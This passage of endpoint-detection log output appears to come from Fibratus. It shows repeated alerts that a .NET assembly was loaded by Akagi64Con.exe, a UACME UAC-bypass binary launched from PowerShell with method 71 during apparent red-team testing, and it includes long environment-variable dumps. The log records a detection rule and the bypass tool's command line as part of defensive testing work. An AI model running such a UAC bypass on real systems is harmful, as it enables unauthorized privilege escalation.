PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7264420 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.0004709 +0100 CET + Params: base_address➜ 7ff9ae6b0000, checksum➜ 0, default_address➜ 7ff9ae6b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 6601995826782797824 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7264420 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.0004709 +0100 CET + Params: base_address➜ 7ff9ae6b0000, checksum➜ 0, default_address➜ 7ff9ae6b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS 